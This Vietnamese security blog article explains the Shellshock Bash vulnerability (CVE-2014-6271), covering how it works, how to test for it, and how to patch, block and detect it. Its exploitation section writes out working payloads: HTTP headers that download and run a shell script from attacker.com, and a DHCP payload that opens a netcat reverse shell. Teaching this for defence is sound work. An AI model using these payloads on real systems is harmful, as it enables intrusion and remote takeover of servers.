Reading Time: 4 minutes

Bash Remote Code Execution (RCE) Vulnerability là một trong những lỗ hổng nghiêm trọng nhất từng được phát hiện trên Linux/Unix, cho phép hacker thực thi mã từ xa trên hệ thống bằng cách lợi dụng cách Bash xử lý biến môi trường.

Lỗ hổng này đã tồn tại trong hơn 20 năm trước khi được phát hiện vào năm 2014 với CVE-2014-6271, hay còn gọi là Shellshock. Ngay khi công bố, Shellshock đã trở thành một trong những lỗ hổng bị khai thác nhiều nhất, ảnh hưởng đến hàng triệu máy chủ, thiết bị IoT, hệ thống SCADA, cloud services và thậm chí cả thiết bị mạng (router, firewall, modem, v.v.).

Trong bài viết này, mình sẽ phân tích sâu về:

  • Cơ chế hoạt động của Bash Remote Code Execution
  • Chi tiết kỹ thuật về cách khai thác và xây dựng payload RCE
  • Phương pháp kiểm tra hệ thống có bị ảnh hưởng không
  • Hướng dẫn bảo vệ hệ thống Linux/Unix trước RCE

Nếu bạn là SysAdmin, Security Engineer hoặc Red Teamer, bài viết này sẽ giúp bạn hiểu rõ bản chất của lỗ hổng này từ góc nhìn tấn công & phòng thủ.

bash remote code execution vulnerability

Cơ chế hoạt động của Bash Remote Code Execution

Bash là gì, phạm vi ảnh hưởng thế nào?

Bash (Bourne Again Shell) là trình shell mặc định trên hầu hết các hệ điều hành Linux, Unix, macOS và nhiều thiết bị IoT. Khi Bash xử lý các biến môi trường, nó có khả năng thực thi code trong chính các biến đó nếu không có cơ chế lọc thích hợp.

Lỗ hổng Bash RCE xảy ra khi:

  1. Một ứng dụng hoặc dịch vụ gọi Bash để xử lý input từ người dùng (ví dụ: CGI scripts trên Apache, SSH, DHCP client).
  2. Hacker đưa payload chứa mã độc vào biến môi trường (User-Agent, Referer, Cookie, SSH Command, DHCP Options, v.v.).
  3. Bash thực thi nội dung của biến môi trường như một lệnh shell, dẫn đến.
  4. Remote Code Execution.

Cấu trúc của Shellshock payload

() { :; }; <command_to_execute>
  • () { :; }; là cú pháp khai báo một hàm rỗng trong Bash.
  • <command_to_execute> là mã lệnh mà hacker muốn thực thi trên hệ thống.

Các ứng dụng dễ bị ảnh hưởng

Các hệ thống dễ bị khai thác Bash RCE bao gồm:

  • Web servers chạy CGI scripts (Apache, Nginx, Lighttpd, v.v.)
  • SSH servers chấp nhận environment variables từ user
  • DHCP clients trên Linux có thể nhận payload từ DHCP server độc hại
  • Cron jobs, startup scripts, hoặc bất kỳ ứng dụng nào gọi Bash mà không kiểm tra input
  • Embedded systems, IoT devices chạy Linux kernel

Cách hacker khai thác Bash Remote Code Execution

Tấn công vào web server (CGI Injection RCE)

Giả sử một máy chủ Apache có một CGI script bằng Bash xử lý request HTTP. Nếu không lọc input, hacker có thể chèn payload vào User-Agent hoặc Cookie header để thực thi mã độc.

Request HTTP độc hại hacker gửi:

GET /cgi-bin/vulnerable.cgi HTTP/1.1
User-Agent: () { :; }; /bin/bash -c 'echo Vulnerable!; id'

Nếu server phản hồi:

Vulnerable!
uid=33(www-data) gid=33(www-data) groups=33(www-data)

⇒ Chứng tỏ hệ thống đang bị khai thác! Hacker có thể tiếp tục tải backdoor & leo thang đặc quyền.

Tấn công thực tế:

GET /cgi-bin/vulnerable.cgi HTTP/1.1
User-Agent: () { :; }; /bin/bash -c 'wget <http://attacker.com/shell.sh> -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh'

Hacker sẽ tải về một reverse shell và kết nối từ xa vào máy chủ!

Tấn công qua DHCP Client (Network RCE)

Nếu một Linux client sử dụng DHCP để nhận IP, hacker có thể chèn payload RCE vào DHCP response để thực thi mã từ xa.

Payload độc hại từ DHCP server:

() { :; }; /bin/bash -c 'nc -e /bin/bash attacker-ip 4444'

Khi máy nạn nhân kết nối vào mạng WiFi công cộng bị kiểm soát, nó sẽ bị khai thác!

Xem thêm: Checklist kiểm thử thâm nhập mạng không dây WiFi

Tấn công qua SSH & Environment Variables

Nếu một user có quyền truy cập SSH nhưng bị giới hạn shell, họ có thể lợi dụng environment variables để thực thi mã độc.

Payload SSH khai thác Bash RCE:

SSH_ORIGINAL_COMMAND='() { :; }; /bin/bash -c "id; uname -a"' ssh user@target

Nếu hệ thống bị ảnh hưởng, lệnh id; uname -a sẽ được thực thi.

Cách kiểm tra hệ thống có bị ảnh hưởng không?

Chạy lệnh kiểm tra trên terminal:

env x='() { :; }; echo "Vulnerable!"' bash -c "echo Test"

Nếu hệ thống phản hồi:

Vulnerable!
Test

⇒ Máy chủ có thể bị khai thác!

Cách ngăn chặn Bash Remote Code Execution

Cập nhật Bash ngay lập tức

Cập nhật Bash trên Debian/Ubuntu:

sudo apt update && sudo apt upgrade bash

Cập nhật Bash trên CentOS/RHEL:

sudo yum update bash

Cập nhật Bash trên macOS:

brew update && brew upgrade bash

Chặn RCE Trên Apache CGI

Vô hiệu hóa Bash trong CGI scripts trên Apache:

<Directory "/var/www/cgi-bin">
    Options -ExecCGI
</Directory>

Chặn payload Bash RCE bằng ModSecurity:

SecRule REQUEST_HEADERS "@rx () { :; }" "id:1001,deny,status:403,msg:'Bash RCE Attack Blocked'"

5.3 Ngăn Chặn SSH RCE

Tắt môi trường SSH không an toàn:

echo 'PermitUserEnvironment no' >> /etc/ssh/sshd_config
sudo systemctl restart sshd

5.4 Giám Sát & Phát Hiện Tấn Công Bash RCE

Dùng Sysmon để phát hiện tiến trình bash bất thường:

<Sysmon>
    <EventFiltering>
        <RuleGroup name="Bash RCE Detection">
            <CommandLine condition="contains">() { :; }</CommandLine>
        </RuleGroup>
    </EventFiltering>
</Sysmon>

Kết Luận

Hi vọng bài viết về Bash Remote Code Execution Vulnerability này đã mang lại cho bạn nhiều thông tin hữu ích. Bạn đọc quan tâm hãy đăng ký nhận newsletter để cập nhật các thông tin mới nhất của CyStack.

BÀi viết cùng chủ đề:

0 Bình luận

Đăng nhập để thảo luận

Chuyên mục Hướng dẫn

Tổng hợp các bài viết hướng dẫn, nghiên cứu và phân tích chi tiết về kỹ thuật, các xu hướng công nghệ mới nhất dành cho lập trình viên.

Đăng ký nhận bản tin của chúng tôi

Hãy trở thành người nhận được các nội dung hữu ích của CyStack sớm nhất

Xem chính sách của chúng tôi Chính sách bảo mật.